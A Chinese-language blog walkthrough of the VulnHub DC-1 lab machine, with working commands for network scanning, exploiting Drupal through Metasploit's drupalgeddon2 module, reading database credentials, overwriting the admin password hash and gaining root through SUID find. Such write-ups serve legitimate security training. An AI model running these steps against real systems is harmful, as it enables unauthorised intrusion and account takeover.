vulnhub靶机:dc-1

一:信息收集

1:主机发现

arp-scan -I eth0 10.4.7.0/24

kali的IP:10.4.7.128

靶机ip:10.4.7.150

2:端口扫描

nmap -T4 -sV -p- -A 10.4.7.150

3:信息收集

启动Metersploit:

msfconsole

用search 命令查找与Drupal 有关的漏洞:

search drupal

选取2018的进行测试,因为有远程代码执行漏洞:

use exploit/unix/webapp/drupal_drupalgeddon2

用 show options查看使用方法完善内容:

show options

我们需要用set命令设置一下rhost文件,也就是靶机地址

set rhosts 10.4.7.150

然后用exploit进行攻击 ,当你用metasploit(漏洞检测工具)成功的入侵一台Windows主机后,你会获得一个Meterpreter 的Shell。

然后我们浏览一下,这个靶机里有什么文件,利用ls命令

从中我们可以发现flag1.txt文件,那我们查看一下flag1.txt里面的内容:

cat flag1.txt

Flag1.txt中提示你要去找CMS中的一个配置文件。

打开靶机的一个shell,以靶机用户的身份使用靶机,使用 python -c "import pty;pty.spawn( '/bin/bash')" 开启交互模式,之后再利用ls浏览一下有什么可用的文件。

python -c "import pty;pty.spawn( '/bin/bash')"

然后我们利用find ./ -name "settings"命令查找CMS配置文件,看到有一个默认的配置文件。

find ./ -name "settings"

查看一下这个默认文件

cat ./sites/default/settings.php

看到了flag2文件,Flag2中提示我们暴力破解不可取并且需要提权。还有一个名为drupaldb的数据库,然后我们登录一下这个数据库,查看其中的内容。

'database' => 'drupaldb',
'username' => 'dbuser',
'password' => 'R0ck3t',

mysql -udbuser -pR0ck3t

查看并打开数据库

show databases;

use drupaldb;

然后查看里面的表

show tables;

可以看到有一个users的表,估计就是存储网站注册用户的信息的表。

然后查看users表

select * from users;

admin $S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR

表中有用户名name,加密的用户密码pass。如果pass是明文,我们就可以直接登录了,但是显然不是,用户注册时使用的明文,存储在数据库时是密文,那后台一定使用了某种方法将明文经过一定的运算产生了密文,那我们也用这种方法产生一个我们知道的密码的密码,替换数据库中的密文,这样不就可以登录靶机网站了

某博主说密文产生的脚本是/scripts/password-hash.sh,我们来看一下,首先quit切出mysql

然后,ls浏览文件,发现scripts文件

然后我们使用这个脚本生成一个我们自己所取的密码,这里我起密码为:123456

切换到www目录下

php scripts/password-hash.sh 123456

$S$DJm5dBgi1hx04kuwsyY3V7ONFv15hD8hbivFGVUj4Hzd.NYb5xbn

登录数据库使用命令

update drupaldb.users set pass="$S$DJm5dBgi1hx04kuwsyY3V7ONFv15hD8hbivFGVUj4Hzd.NYb5xbn"where name="admin";

登录一下界面

但是在cmd5网站中查到了密码

image-20240228164824577

admin

53cr3t

登录成功,然后在此界面当中发现flag3文件,现在我们再查看一下内容

flag3提示我们要使用find进行提权

二:提权

利用 find 命令从靶机里寻找一下有关flag的信息

find / -name "flag"

发现了flag4.txt文件和thefinalflag.txt文件

cat /home/flag4/flag4.txt

他还是想要我们进入靶机的root权限。

那我们按条件查找权限:

find / -perm -u=s -type f 2>/dev/null

-perm:按照权限查找
-type:查是块设备b、目录d、字符设备c、管道p、符号链接l、普通文件f
-u=s:拥有者是s权限

当中有一个/usr/bin/find文件,我们来查看一下此文件

ls -la /usr/bin/find

这个文件是有root权限的,且在这个权限下可读可写可执行。

那我们进行提权

-exec:对匹配的文件执行该参数所给出的shell命令。形式为command {} ;。

touch test

find test -exec whoami ;

find test -exec cat /root/thefinalflag.txt ;


靶机结束

posted @   woaishuaidan  阅读(10)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 震惊!C++程序真的从main开始吗?99%的程序员都答错了
· 别再用vector<bool>了!Google高级工程师:这可能是STL最大的设计失误
· 单元测试从入门到精通
点击右上角即可分享
微信分享提示